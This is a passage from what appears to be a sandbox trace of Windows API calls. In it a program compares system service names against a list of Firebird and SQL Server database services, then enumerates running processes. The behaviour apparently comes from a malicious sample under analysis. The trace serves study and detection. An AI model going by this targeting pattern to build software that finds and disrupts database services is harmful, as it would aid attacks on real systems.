(lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0213.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0213.426] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0213.426] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0213.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0213.426] lstrlenW (lpString="Dhcp") returned 4 [0213.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0213.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0213.426] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0213.426] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0213.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0213.426] lstrlenW (lpString="Dnscache") returned 8 [0213.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0213.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0213.426] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0213.426] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0213.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0213.426] lstrlenW (lpString="DoSvc") returned 5 [0213.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0213.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0213.426] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0213.426] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0213.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0213.426] lstrlenW (lpString="DPS") returned 3 [0213.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0213.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0213.426] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0213.426] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0213.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0213.427] lstrlenW (lpString="DusmSvc") returned 7 [0213.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0213.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0213.427] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0213.427] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0213.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0213.427] lstrlenW (lpString="EventLog") returned 8 [0213.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0213.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0213.427] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0213.427] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0213.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0213.427] lstrlenW (lpString="EventSystem") returned 11 [0213.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0213.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0213.427] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0213.427] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0213.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0213.427] lstrlenW (lpString="FontCache") returned 9 [0213.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0213.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0213.427] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0213.427] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0213.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0213.427] lstrlenW (lpString="gpsvc") returned 5 [0213.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0213.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0213.427] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0213.427] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0213.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0213.427] lstrlenW (lpString="iphlpsvc") returned 8 [0213.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0213.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0213.427] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0213.427] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0213.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0213.428] lstrlenW (lpString="KeyIso") returned 6 [0213.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0213.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0213.428] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0213.428] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0213.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0213.428] lstrlenW (lpString="LanmanServer") returned 12 [0213.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0213.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0213.428] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0213.428] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0213.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0213.428] lstrlenW (lpString="LanmanWorkstation") returned 17 [0213.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0213.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0213.428] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0213.428] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0213.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0213.428] lstrlenW (lpString="lfsvc") returned 5 [0213.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0213.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0213.428] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0213.428] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0213.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0213.428] lstrlenW (lpString="LicenseManager") returned 14 [0213.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0213.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0213.428] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0213.428] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0213.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0213.428] lstrlenW (lpString="lmhosts") returned 7 [0213.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0213.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0213.428] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0213.428] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0213.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0213.428] lstrlenW (lpString="LSM") returned 3 [0213.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0213.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0213.429] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0213.429] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0213.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0213.429] lstrlenW (lpString="MpsSvc") returned 6 [0213.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0213.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0213.429] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0213.429] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0213.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0213.429] lstrlenW (lpString="NcbService") returned 10 [0213.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0213.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0213.429] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0213.429] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0213.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0213.429] lstrlenW (lpString="netprofm") returned 8 [0213.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0213.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0213.429] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0213.429] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0213.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0213.429] lstrlenW (lpString="NlaSvc") returned 6 [0213.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0213.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0213.429] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0213.429] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0213.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0213.429] lstrlenW (lpString="nsi") returned 3 [0213.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0213.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0213.430] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0213.430] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0213.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0213.430] lstrlenW (lpString="PcaSvc") returned 6 [0213.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0213.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0213.430] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0213.430] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0213.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0213.430] lstrlenW (lpString="PlugPlay") returned 8 [0213.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0213.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0213.430] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0213.430] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0213.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0213.430] lstrlenW (lpString="Power") returned 5 [0213.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0213.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0213.430] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0213.430] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0213.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0213.430] lstrlenW (lpString="ProfSvc") returned 7 [0213.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0213.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0213.430] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0213.430] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0213.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0213.430] lstrlenW (lpString="RpcEptMapper") returned 12 [0213.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0213.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0213.430] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0213.430] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0213.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0213.430] lstrlenW (lpString="RpcSs") returned 5 [0213.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0213.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0213.431] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0213.431] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0213.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0213.431] lstrlenW (lpString="SamSs") returned 5 [0213.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0213.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0213.431] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0213.431] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0213.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0213.431] lstrlenW (lpString="Schedule") returned 8 [0213.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0213.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0213.431] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0213.431] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0213.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0213.431] lstrlenW (lpString="SecurityHealthService") returned 21 [0213.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0213.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0213.431] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0213.431] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0213.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0213.431] lstrlenW (lpString="SENS") returned 4 [0213.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0213.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0213.431] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0213.431] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0213.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0213.431] lstrlenW (lpString="ShellHWDetection") returned 16 [0213.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0213.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0213.431] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0213.431] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0213.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0213.431] lstrlenW (lpString="Spooler") returned 7 [0213.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0213.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0213.432] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0213.432] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0213.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0213.432] lstrlenW (lpString="SSDPSRV") returned 7 [0213.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0213.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0213.432] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0213.432] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0213.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0213.432] lstrlenW (lpString="StateRepository") returned 15 [0213.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0213.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0213.432] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0213.432] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0213.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0213.432] lstrlenW (lpString="SysMain") returned 7 [0213.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0213.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0213.432] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0213.432] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0213.432] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x801a48 | out: hHeap=0x790000) returned 1 [0213.432] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364 [0213.436] Process32FirstW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.437] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0213.438] lstrlenW (lpString="System") returned 6 [0213.438] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0213.439] lstrlenW (lpString="smss.exe") returned 8 [0213.439] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.440] lstrlenW (lpString="csrss.exe") returned 9 [0213.440] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0213.441] lstrlenW (lpString="wininit.exe") returned 11 [0213.441] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.441] lstrlenW (lpString="csrss.exe") returned 9 [0213.442] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0213.442] lstrlenW (lpString="winlogon.exe") returned 12 [0213.442] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0213.443] lstrlenW (lpString="services.exe") returned 12 [0213.443] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0213.444] lstrlenW (lpString="lsass.exe") returned 9 [0213.444] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.444] lstrlenW (lpString="svchost.exe") returned 11 [0213.444] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0213.445] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0213.445] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0213.446] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0213.446] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.447] lstrlenW (lpString="svchost.exe") returned 11 [0213.447] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0213.448] lstrlenW (lpString="dwm.exe") returned 7 [0213.448] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.449] lstrlenW (lpString="svchost.exe") returned 11 [0213.456] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.457] lstrlenW (lpString="svchost.exe") returned 11 [0213.457] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.458] lstrlenW (lpString="svchost.exe") returned 11 [0213.458] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.459] lstrlenW (lpString="svchost.exe") returned 11 [0213.459] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.460] lstrlenW (lpString="svchost.exe") returned 11 [0213.460] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.461] lstrlenW (lpString="svchost.exe") returned 11 [0213.461] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.462] lstrlenW (lpString="svchost.exe") returned 11 [0213.462] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.463] lstrlenW (lpString="svchost.exe") returned 11 [0213.463] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.464] lstrlenW (lpString="svchost.exe") returned 11 [0213.464] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, 